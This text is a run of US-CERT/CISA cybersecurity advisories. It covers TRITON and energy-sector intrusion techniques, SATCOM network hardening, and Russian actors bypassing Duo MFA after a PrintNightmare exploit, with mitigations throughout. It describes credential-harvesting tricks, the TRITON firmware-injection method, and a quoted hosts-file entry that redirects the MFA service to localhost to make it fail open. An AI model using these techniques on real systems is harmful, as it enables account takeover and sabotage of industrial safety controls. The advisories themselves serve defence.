The threat actor’s watering hole sites contained altered JavaScript and PHP files that requested a file icon using SMB from an IP address controlled by the threat actors.

The threat actor manipulated LNK files to repeatedly gather user credentials. Default Windows functionality enables icons to be loaded from a local or remote Windows repository. The threat actor exploited this built-in Windows functionality by setting the icon path to a remote server controller by the actors. When the user browses to the directory, Windows attempts to load the icon and initiate an SMB authentication session. During this process, the active user’s credentials are passed through the attempted SMB connection.
 

Note: this activity also applies to:

  • Tactic: Persistence [TA0003], Technique: Boot or Logon Autostart Execution: Shortcut Modification [T1547.009]
OS Credential Dumping: Local Security Authority Subsystem Service (LSASS) Memory [T1003.001] The threat actor used an Administrator PowerShell prompt to enable the WDigest authentication protocol to store plaintext passwords in the LSASS memory. With this enabled, credential harvesting tools can dump passwords from this process’s memory.

Operating System Configuration: make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.

Password Policies: set and enforce secure password policies for accounts.

Privileged Account Management: manage the creation of, modification of, use of, and permissions associated with privileged accounts, including SYSTEM and root.

Privileged Process Integrity: protect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.

User Training: train users to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.

Credential Access Protection: use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.

OS Credential Dumping: NTDS [T1003.003] The threat actor collected the files ntds.dit. The file ntds.dit is the Active Directory (AD) database that contains all information related to the AD, including encrypted user passwords.

Monitor: monitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit.

Privileged Account Management: manage the creation of, modification of, se of, and permissions associated with privileged accounts, including SYSTEM and root.

User Training: train users to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.

Discovery [TA0007] Remote System Discovery [T1018]

The threat actor used privileged credentials to access the Energy Sector victim’s domain controller. Once on the domain controller, the threat actors used batch scripts dc.bat and dit.bat to enumerate hosts, users, and additional information about the environment. 

Note: this activity also applies to: 

  • Tactic: Persistence [TA0003], Technique: Valid Accounts: Domain Accounts [T1078.002]
  • Tactic: Discovery [TA0007], Technique: System Owner/User Discovery [T1033]

Monitor: normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used.

Monitor processes and command-line arguments for actions that could be taken to gather system and network information.

Monitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.

The threat actor accessed workstations and servers on corporate networks that contained data output from control systems within energy generation facilities. The threat actors accessed files pertaining to ICS or supervisory control and data acquisition (SCADA) systems. 

The actor targeted and copied profile and configuration information for accessing ICS systems on the network. The threat actor copied Virtual Network Connection (VNC) profiles that contained configuration information on accessing ICS systems and took screenshots of a Human Machine Interface (HMI).

Note: this activity also applies to

  • Tactic: Discovery [TA0007], Technique File and Directory Discovery [T1083]
  • Tactic: [TA0009], Technique: Screen Capture [T1113]
File and Directory Discovery [T1083]

The actor used dirsb.bat to gather folder and file names from hosts on the network.

Note: this activity also applies to: 

  • Tactic: Execution [TA0002], Command and Scripting Interpreter: Windows Command Shell [T1059.003]
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. The threat actor conducted reconnaissance operations within the network. The threat actor focused on identifying and browsing file servers within the intended victim’s network. Lateral Movement [TA0008] Lateral Tool Transfer [T1570]

The threat actor moved laterally via PsExec, batch scripts, RDP, VNC, and admin shares.

Note: this activity also applies to:

  • Tactic: Lateral Movement [TA0008], Techniques: 
    • Remote Services: Remote Desktop Protocol [T1021.001]
    • Remote Services: SMB/Windows Admin Shares [T1021.002]
    • Remote Services: VNC [T1021.005]

Network Intrusion Prevention: use intrusion detection signatures to block traffic at network boundaries.

Network Segmentation: architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.

Operating System Configuration: make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.

Privileged Account Management: manage the creation of, modification of, use of, and permissions associated with privileged accounts, including SYSTEM and root.

User Account Management: manage the creation of, modification o, se of, and permissions associated with user accounts.

Disable or Remove Feature or Program: remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.

Audit: audit or scan systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.

MFA: enforce use of two or more pieces of evidence (such as username and password plus a token, e.g., a physical smart card or token generator) to authenticate to a system.

Limit Access to Resource Over Network: prevent access to file shares, remote access to systems, and unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.

Filter Network Traffic: use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.

Limit Software Installation: block users or groups from installing unapproved software.

Collection [TA0009] Data from Local System [T1005]  The threat actor collected the Windows SYSTEM registry hive file, which contains host configuration information.

Monitor: monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data.

Data may also be acquired through Windows system management tools such as WMI and PowerShell.

Archive Collected Data: Archive via Utility [T1560.001] The threat actor compressed the ntds.dit file and the SYSTEM registry hive they had collected into archives named SYSTEM.zip and comps.zip. Audit: audit or scan systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses. Screen Capture [T1113]

The threat actor used Windows’ Scheduled Tasks and batch scripts, to execute scr.exe and collect additional information from hosts on the network. The tool scr.exe is a screenshot utility that the threat actor used to capture the screen of systems across the network.

Note: this activity also applies to: 

  • Tactic: Execution [TA0002], Techniques: 
    • Command and Scripting Interpreter: Windows Command Shell [T1059.003]
    • Scheduled Task/Job: Scheduled Task [T1053.005]

Network Segmentation: architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.

MFA: enforce use of two or more pieces of evidence (such as username and password plus a token, e.g., a physical smart card or token generator) to authenticate to a system.

Limit Access to Resource Over Network: prevent access to file shares, remote access to systems, and unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.

Disable or Remove Feature or Program: remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.

The actor used batch scripts labeled pss.bat and psc.bat to run the PsExec tool. PsExec was used to execute scr.exe across the network and to collect screenshots of systems in a text file.

Note: this activity also applies to: 

  • Tactic: Execution [TA0002], Techniques: 
    • Command and Scripting Interpreter: Windows Command Shell [T1059.003]
    • System Services: Service Execution [T1569.002]
Command and Control [TA0011] Ingress Tool Transfer [T1105] The threat actor downloaded tools from a remote server.    

Monitor: monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as File Transfer Protocol, that does not normally occur may also be suspicious.

Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.

Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.

Use intrusion detection signatures to block traffic at network boundaries.

 

TRITON Malware

Table 4 maps TRITON’s capabilities to the ATT&CK for ICS framework. For mitigations to harden ICS/OT environments, refer to the Mitigations section of this advisory.

Table 4: ICS Domain Tactics and Techniques for TRITON [4]

Initial Access

Engineering Workstation Compromise [T0818]

TRITON compromises workstations within the safety network.  Execution

Change Operating Mode [T0858]

Note: this technique also applies to Evasion.

TRITON can halt or run a program through the TriStation protocol. (Note: TriStation protocol is the protocol that Triconex System software uses to communicate with the Tricon PLCs.) 

Execution through API [T0871]

TRITON leverages a custom implementation of the TriStation protocol, which triggers APIs related to program download, program allocation, and program changes.

Hooking [T0874]

Note: this technique also applies to Tactic: Privilege Escalation.

TRITON's injector modifies the address of the handler for a Tristation protocol command so that when the command is received, the payload may be executed instead of normal processing. Modify Controller Tasking [T0821] Some TRITON components are added to the program table on the Tricon so that they are executed by the firmware once each cycle. Native API [T0834] TRITON's payload takes commands from TsHi.ExplReadRam(Ex), TsHi.ExplWriteRam(Ex), and TsHi.ExplExec functions to perform operations on controller memory and registers using syscalls written in PowerPC shellcode. Scripting [T0853]

TRITON communicates with Triconex Tricon PLCs using its custom Python script. This Python script communicates using four Python modules that collectively implement the TriStation protocol via User Datagram Protocol (UDP) 1502.

Note: this use also applies to:

Persistence 

System Firmware [T0857]

Note: this technique also applies to Tactic: Inhibit Response Function.

TRITON's injector injects the payload into the Tricon PLCs’ running firmware. A threat actor can use the payload to read and write memory on the PLC and execute code at an arbitrary address within the firmware. If the memory address it writes to is within the firmware region, the malicious payload disables address translation, writes the code at the provided address, flushes the instruction cache, and re-enables address translation. This allows the malware to change the running firmware. Privilege Escalation Exploitation for Privilege Escalation [T0890] TRITON can gain supervisor-level access and control system states by exploiting a vulnerability. Evasion Exploitation for Evasion [T0820] TRITON's injector exploits a vulnerability in the device firmware to escalate privileges and then it disables and (later patches) a firmware RAM/ROM consistency check.  Indicator Removal on Host [T0872] After running the malicious payload, TRITON's Python script overwrites the malicious payload with a “dummy” program.

Masquerading [T0849]

TRITON’s Python script masquerades as legitimate Triconex software. TRITON’s injector masquerades as a standard compiled PowerPC program for the Triconex PLC. Discovery

Remote System Discovery [T0846]

TRITON’s Python script can autodetect Triconex PLCs on the network by sending a UDP broadcast packet over port 1502. Lateral Movement Program Download [T0843] TRITON leverages the TriStation protocol to download programs to the Tricon PLCs. Collection Detect Operating Mode [T0868] A TRITON Python module provides string representations of different features of the TriStation protocol, including message and error codes, key position states, and other values returned by the status functions.

Program Upload [T0845]

TRITON uploads its payload to the Tricon PLCs. Impair Process Control Unauthorized Command Message [T0855] A threat actor can use TRITON to prevent the Tricon PLC from functioning appropriately. Impact Loss of Safety [T0880] TRITON can reprogram the safety PLC logic to allow unsafe conditions or state to persist. Revisions
  • March 24, 2022: Initial Version

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AA22-076A: Strengthening Cybersecurity of SATCOM Network Providers and Customers

US-CERT Alerts - Thu, 03/17/2022 - 20:00
Original release date: March 17, 2022
Summary

Actions to Take Today:
• Use secure methods for authentication.
• Enforce principle of least privilege.
• Review trust relationships.
• Implement encryption.
• Ensure robust patching and system configuration audits.
• Monitor logs for suspicious activity.
• Ensure incident response, resilience, and continuity of operations plans are in place.

The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) are aware of possible threats to U.S. and international satellite communication (SATCOM) networks. Successful intrusions into SATCOM networks could create risk in SATCOM network providers’ customer environments.

Given the current geopolitical situation, CISA’s Shields Up initiative requests that all organizations significantly lower their threshold for reporting and sharing indications of malicious cyber activity. To that end, CISA and FBI will update this joint Cybersecurity Advisory (CSA) as new information becomes available so that SATCOM providers and their customers can take additional mitigation steps pertinent to their environments.

CISA and FBI strongly encourages critical infrastructure organizations and other organizations that are either SATCOM network providers or customers to review and implement the mitigations outlined in this CSA to strengthen SATCOM network cybersecurity.

Click here for a PDF version of this report.

Mitigations

CISA and FBI strongly encourages critical infrastructure organizations and other organizations that are either SATCOM network providers or customers to review and implement the following mitigations:

Mitigations for SATCOM Network Providers
  • Put in place additional monitoring at ingress and egress points to SATCOM equipment to look for anomalous traffic, such as:
    • The presence of insecure remote access tools—such as Teletype Network Protocol (Telnet), File Transfer Protocol (FTP), Secure Shell Protocol (SSH), Secure Copy Protocol (SCP), and Virtual Network Computing (VNC)—facilitating communications to and from SATCOM terminals.
    • Network traffic from SATCOM networks to other unexpected network segments.
    • Unauthorized use of local or backup accounts within SATCOM networks.
    • Unexpected SATCOM terminal to SATCOM terminal traffic.
    • Network traffic from the internet to closed group SATCOM networks.
    • Brute force login attempts over SATCOM network segments.
  • See the Office of the Director of National Intelligence (ODNI) Annual Threat Assessment of the U.S. Intelligence Community, February 2022 for specific state-sponsored cyber threat activity relating to SATCOM networks.
Mitigations for SATCOM Network Providers and Customers
  • Use secure methods for authentication, including multifactor authentication where possible, for all accounts used to access, manage, and/or administer SATCOM networks. 
    • Use and enforce strong, complex passwords: Review password policies to ensure they align with the latest NIST guidelines
    • Do not use default credentials or weak passwords.
    • Audit accounts and credentials: remove terminated or unnecessary accounts; change expired credentials.
  • Enforce principle of least privilege through authorization policies. Minimize unnecessary privileges for identities. Consider privileges assigned to individual personnel accounts, as well as those assigned to non-personnel accounts (e.g., those assigned to software or systems). Account privileges should be clearly defined, narrowly scoped, and regularly audited against usage patterns.
  • Review trust relationships. Review existing trust relationships with IT service providers. Threat actors are known to exploit trust relationships between providers and their customers to gain access to customer networks and data.  
    • Remove unnecessary trust relationships. 
    • Review contractual relationships with all service providers. Ensure contracts include appropriate provisions addressing security, such as those listed below, and that these provisions are appropriately leveraged: 
      • Security controls the customer deems appropriate. 
      • Provider should have in place appropriate monitoring and logging of provider-managed customer systems.
      • Customer should have in place appropriate monitoring of the service provider’s presence, activities, and connections to the customer network.
      • Notification of confirmed or suspected security events and incidents occurring on the provider’s infrastructure and administrative networks.
  • Implement independent encryption across all communications links leased from, or provided by, your SATCOM provider. See National Security Agency (NSA) Cybersecurity Advisory: Protecting VSAT Communications for guidance.
  • Strengthen the security of operating systems, software, and firmware.
    • Ensure robust vulnerability management and patching practices are in place and, after testing, immediately patch known exploited vulnerabilities included in CISA's living catalog of known exploited vulnerabilities. These vulnerabilities carry significant risk to federal agencies as well as public and private sectors entities. 
    • Implement rigorous configuration management programs. Ensure the programs can track and mitigate emerging threats. Regularly audit system configurations for misconfigurations and security weaknesses.
  • Monitor network logs for suspicious activity and unauthorized or unusual login attempts.
    • Integrate SATCOM traffic into existing network security monitoring tools.
    • Review logs of systems behind SATCOM terminals for suspicious activity.
    • Ingest system and network generated logs into your enterprise security information and event management (SIEM) tool. 
    • Implement endpoint detection and response (EDR) tools where possible on devices behind SATCOM terminals, and ingest into the SIEM.
    • Expand and enhance monitoring of network segments and assets that use SATCOM.
    • Expand monitoring to include ingress and egress traffic transiting SATCOM links and monitor for suspicious or anomalous network activity. 
    • Baseline SATCOM network traffic to determine what is normal and investigate deviations, such as large spikes in traffic.
  • Create, maintain, and exercise a cyber incident response plan, resilience plan, and continuity of operations plan so that critical functions and operations can be kept running if technology systems—including SATCOM networks—are disrupted or need to be taken offline.
Contact Information

All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at report@cisa.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI’s 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov.

Resources Revisions
  • March 17, 2022: Initial Version

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AA22-074A: Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability

US-CERT Alerts - Tue, 03/15/2022 - 15:00
Original release date: March 15, 2022
Summary

Multifactor Authentication (MFA): A Cybersecurity Essential
• MFA is one of the most important cybersecurity practices to reduce the risk of intrusions—according to industry research, users who enable MFA are up to 99 percent less likely to have an account compromised.
• Every organization should enforce MFA for all employees and customers, and every user should sign up for MFA when available.
• Organizations that implement MFA should review default configurations and modify as necessary, to reduce the likelihood that a sophisticated adversary can circumvent this control.

The Federal Bureau of Investigation (FBI) and Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory (CSA) to warn organizations that Russian state-sponsored cyber actors have gained network access through exploitation of default MFA protocols and a known vulnerability. As early as May 2021, Russian state-sponsored cyber actors took advantage of a misconfigured account set to default MFA protocols at a non-governmental organization (NGO), allowing them to enroll a new device for MFA and access the victim network. The actors then exploited a critical Windows Print Spooler vulnerability, “PrintNightmare” (CVE-2021-34527) to run arbitrary code with system privileges. Russian state-sponsored cyber actors successfully exploited the vulnerability while targeting an NGO using Cisco’s Duo MFA, enabling access to cloud and email accounts for document exfiltration.

This advisory provides observed tactics, techniques, and procedures, indicators of compromise (IOCs), and recommendations to protect against Russian state-sponsored malicious cyber activity. FBI and CISA urge all organizations to apply the recommendations in the Mitigations section of this advisory, including the following:

  • Enforce MFA and review configuration policies to protect against “fail open” and re-enrollment scenarios.
  • Ensure inactive accounts are disabled uniformly across the Active Directory and MFA systems. 
  • Patch all systems. Prioritize patching for known exploited vulnerabilities.

For more general information on Russian state-sponsored malicious cyber activity, see CISA's Russia Cyber Threat Overview and Advisories webpage. For more information on the threat of Russian state-sponsored malicious cyber actors to U.S. critical infrastructure as well as additional mitigation recommendations, see joint CSA Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure and CISA's Shields Up Technical Guidance webpage.

Click here for a PDF version of this report.

For a downloadable copy of IOCs, see AA22-074A.stix.

Technical DetailsThreat Actor Activity

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 10. See Appendix A for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

As early as May 2021, the FBI observed Russian state-sponsored cyber actors gain access to an NGO, exploit a flaw in default MFA protocols, and move laterally to the NGO’s cloud environment.

Russian state-sponsored cyber actors gained initial access [TA0001] to the victim organization via compromised credentials [T1078] and enrolling a new device in the organization’s Duo MFA. The actors gained the credentials [TA0006] via brute-force password guessing attack [T1110.001], allowing them access to a victim account with a simple, predictable password. The victim account had been un-enrolled from Duo due to a long period of inactivity but was not disabled in the Active Directory. As Duo’s default configuration settings allow for the re-enrollment of a new device for dormant accounts, the actors were able to enroll a new device for this account, complete the authentication requirements, and obtain access to the victim network.  

Using the compromised account, Russian state-sponsored cyber actors performed privilege escalation [TA0004] via exploitation of the “PrintNightmare” vulnerability (CVE-2021-34527) [T1068] to obtain administrator privileges. The actors also modified a domain controller file, c:\windows\system32\drivers\etc\hosts, redirecting Duo MFA calls to localhost instead of the Duo server [T1556]. This change prevented the MFA service from contacting its server to validate MFA login—this effectively disabled MFA for active domain accounts because the default policy of Duo for Windows is to “Fail open” if the MFA server is unreachable. Note: “fail open” can happen to any MFA implementation and is not exclusive to Duo.

After effectively disabling MFA, Russian state-sponsored cyber actors were able to successfully authenticate to the victim’s virtual private network (VPN) as non-administrator users and make Remote Desktop Protocol (RDP) connections to Windows domain controllers [T1133]. The actors ran commands to obtain credentials for additional domain accounts; then using the method described in the previous paragraph, changed the MFA configuration file and bypassed MFA for these newly compromised accounts. The actors leveraged mostly internal Windows utilities already present within the victim network to perform this activity.  

Using these compromised accounts without MFA enforced, Russian state-sponsored cyber actors were able to move laterally [TA0008] to the victim’s cloud storage and email accounts and access desired content. 

Indicators of Compromise

Russian state-sponsored cyber actors executed the following processes:

  • ping.exe - A core Windows Operating System process used to perform the Transmission Control Protocol (TCP)/IP Ping command; used to test network connectivity to a remote host [T1018] and is frequently used by actors for network discovery [TA0007].
  • regedit.exe - A standard Windows executable file that opens the built-in registry editor [T1112].
  • rar.exe - A data compression, encryption, and archiving tool [T1560.001]. Malicious cyber actors have traditionally sought to compromise MFA security protocols as doing so would provide access to accounts or information of interest. 
  • ntdsutil.exe - A command-line tool that provides management facilities for Active Directory Domain Services. It is possible this tool was used to enumerate Active Directory user accounts [T1003.003].

Actors modified the c:\windows\system32\drivers\etc\hosts file to prevent communication with the Duo MFA server:

  • 127.0.0.1 api-<redacted>.duosecurity.com 

The following access device IP addresses used by the actors have been identified to date:

  • 45.32.137[.]94
  • 191.96.121[.]162
  • 173.239.198[.]46
  • 157.230.81[.]39 
Mitigations

The FBI and CISA recommend organizations remain cognizant of the threat of state-sponsored cyber actors exploiting default MFA protocols and exfiltrating sensitive information. Organizations should:

  • Enforce MFA for all users, without exception. Before implementing, organizations should review configuration policies to protect against “fail open” and re-enrollment scenarios.
  • Implement time-out and lock-out features in response to repeated failed login attempts.
  • Ensure inactive accounts are disabled uniformly across the Active Directory, MFA systems etc.
  • Update software, including operating systems, applications, and firmware on IT network assets in a timely manner. Prioritize patching known exploited vulnerabilities, especially critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment.
  • Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to have strong, unique passwords. Passwords should not be reused across multiple accounts or stored on the system where an adversary may have access.
  • Continuously monitor network logs for suspicious activity and unauthorized or unusual login attempts.
  • Implement security alerting policies for all changes to security-enabled accounts/groups, and alert on suspicious process creation events (ntdsutil, rar, regedit, etc.).

Note: If a domain controller compromise is suspected, a domain-wide password reset—including service accounts, Microsoft 365 (M365) synchronization accounts, and krbtgt—will be necessary to remove the actors’ access. (For more information, see https://docs.microsoft.com/en-us/answers/questions/87978/reset-krbtgt-password.html). Consider soliciting support from a third-party IT organization to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.  

FBI and CISA also recommend organizations implement the recommendations listed below to further reduce the risk of malicious cyber activity.

Security Best Practices
  • Deploy Local Administrator Password Solution (LAPS), enforce Server Message Block (SMB) Signing, restrict Administrative privileges (local admin users, groups, etc.), and review sensitive materials on domain controller’s SYSVOL share.
  • Enable increased logging policies, enforce PowerShell logging, and ensure antivirus/endpoint detection and response (EDR) are deployed to all endpoints and enabled.
  • Routinely verify no unauthorized system modifications, such as additional accounts and Secure Shell (SSH) keys, have occurred to help detect a compromise. To detect these modifications, administrators can use file integrity monitoring software that alerts an administrator or blocks unauthorized changes on the system. 
Network Best Practices
  • Monitor remote access/ RDP logs and disable unused remote access/RDP ports.
  • Deny atypical inbound activity from known anonymization services, to include commercial VPN services and The Onion Router (TOR).
  • Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs under an established security policy.
  • Regularly audit administrative user accounts and configure access control under the concept of least privilege. 
  • Regularly audit logs to ensure new accounts are legitimate users.
  • Scan networks for open and listening ports and mediate those that are unnecessary.
  • Maintain historical network activity logs for at least 180 days, in case of a suspected compromise.
  • Identify and create offline backups for critical assets.
  • Implement network segmentation.
  • Automatically update anti-virus and anti-malware solutions and conduct regular virus and malware scans.
Remote Work Environment Best Practices

With an increase in remote work environments and the use of VPN services, the FBI and CISA encourage organizations to implement the following best practices to improve network security:

  • Regularly update VPNs, network infrastructure devices, and devices used for remote work environments with the latest software patches and security configurations.
  • When possible, implement multi-factor authentication on all VPN connections. Physical security tokens are the most secure form of MFA, followed by authenticator applications. When MFA is unavailable, require employees engaging in remote work to use strong passwords.
  • Monitor network traffic for unapproved and unexpected protocols.
  • Reduce potential attack surfaces by discontinuing unused VPN servers that may be used as a point of entry for attackers.
User Awareness Best Practices

Cyber actors frequently use unsophisticated methods to gain initial access, which can often be mitigated by stronger employee awareness of indicators of malicious activity. The FBI and CISA recommend the following best practices to improve employee operations security when conducting business:

  • Provide end-user awareness and training. To help prevent targeted social engineering and spearphishing scams, ensure that employees and stakeholders are aware of potential cyber threats and delivery methods. Also, provide users with training on information security principles and techniques. 
  • Inform employees of the risks associated with posting detailed career information to social or professional networking sites.
  • Ensure that employees are aware of what to do and whom to contact when they see suspicious activity or suspect a cyberattack, to help quickly and efficiently identify threats and employ mitigation strategies.
Information Requested

All organizations should report incidents and anomalous activity to the FBI via your local FBI field office or the FBI’s 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov and/or CISA’s 24/7 Operations Center at report@cisa.gov or (888) 282-0870. 

APPENDIX A: Threat Actor Tactics and Techniques

See table 1 for the threat actors’ tactics and techniques identified in this CSA. See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques.

Table 1: Threat Actor MITRE ATT&CK Tactics and Techniques

Tactic Technique Initial Access [TA0001] Valid Accounts [T1078] Persistence [TA0003] External Remote Services [T1133] Modify Authentication Process [T1556] Privilege Escalation [TA0004] Exploitation for Privilege Escalation
[T1068] Defense Evasion [TA0005] Modify Registry [T1112] Credential Access [TA0006] Brute Force: Password Guessing [T1110.001] OS Credential Dumping: NTDS [T1003.003] Discovery [TA0007] Remote System Discovery [T1018] Lateral Movement [TA0008]    Collection [TA0009] Archive Collected Data: Archive via Utility [T1560.001] Revisions
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